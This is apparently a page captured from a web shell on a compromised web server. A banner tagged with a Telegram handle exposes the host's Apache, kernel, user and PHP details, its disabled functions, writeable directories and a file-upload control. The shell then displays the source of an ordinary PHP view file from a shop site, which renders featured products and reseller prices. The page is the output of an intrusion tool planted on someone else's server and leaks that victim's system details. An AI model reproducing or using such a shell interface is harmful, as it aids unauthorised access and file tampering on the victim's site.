https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/laciasmara.com/public_html/shop/application/modules/featured/views/3/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/laciasmara.com/public_html/shop/application/modules/featured/views/3/featured.php
<!-- Product Browse -->
<div class="product_browse" style="padding-left: 20px;">


  <!-- <h2 style="text-align: center; color:<?= $this->session->userdata('p_color'); ?>;">Featured</h2> -->
  <h2 style="color:black; text-align: center; font-size: 1.5rem;"><?= ucwords(lang('featured')); ?></h2>
  <style type="text/css">
    .product_browse_name h3 a:hover {
      color: <?= $primary_colortheme; ?> !important;
    }
  </style>
  <br>
  <?php if (count($featured) > 0) : ?>

    <ul class="clearfix" style="text-align: center;">
      <?php foreach ($featured as $key => $item) : ?>
        <!-- Product Item -->
        <li id="li_product_id<?= $key; ?>" data-id="<?= $item->id_products; ?>">
          <div class="product_browse_img">
            <?php
            $this->load->helper('product');
            $thumbnail = get_product_thumbnail($item->id_products);
            ?>
            <img src="<?= $thumbnail['image1']; ?>" />
            <a href="<?= base_url() . 'product/' . strtolower($item->alias); ?>">
              <div class="product_browse_img_hover" style="background: unset; background-image: url('<?= $thumbnail["image2"]; ?>'); background-repeat: no-repeat; background-size: cover;">
              </div>
            </a>
          </div>
          <div class="product_browse_name">
            <h3><a href="<?= base_url() . 'product/' . strtolower($item->alias); ?>"><?= ucwords($item->title); ?></a></h3><span></span>
            <div class="dtl_price">
              <ul>
                <?php
                $reseller_id = $this->db->select('reseller_id')->from('customers')->where('id_customers', $this->session->userdata('customer')['customer_id'])->get()->row()->reseller_id;

                if ($reseller_id == NULL) : ?>

                  <?php $lowest_price = get_lowest_price($item->id_products); ?>

                  <?php if ($lowest_price->discounted_price == 0) : ?>

                    <li>
                      <?= number_format($lowest_price->price, 0, ',', '.'); ?> IDR
                    </li>

                  <?php else : ?>
                    <!-- <script>
                  alert("<?= $lowest_price->discounted_price; ?>");
                </script> -->
                    <li>
                      <?= number_format($lowest_price->discounted_price, 0, ',', '.'); ?> IDR
                    </li>
                    <li class="jrett">
                      <?= number_format($lowest_price->price, 0, ',', '.'); ?> IDR
                    </li>
                  <?php endif; ?>

                <?php else : ?>

                  <?php
                  $product_detail_id = $this->db->select('id')->from('product_details')->where('product_id', $item->id_products)->where('price !=', 0)->order_by('price', 'ASC')->limit(1)->get()->row()->id;

                  $reseller_price = $this->db->select('price')->from('resellers_price')->where('product_detail_id', $product_detail_id)->where('reseller_id', $reseller_id)->get()->row()->price;
                  ?>
                  <li><span></span> <?= number_format($reseller_price, 0, ',', '.'); ?> IDR</li>
                  <br>

                <?php endif; ?>

              </ul>
            </div>
          </div>

        </li><!-- End Product Item -->
      <?php endforeach; ?>
    </ul>
  <?php endif; ?>
</div><!-- End Product Browse -->

https://t.me/RX1948 - 2025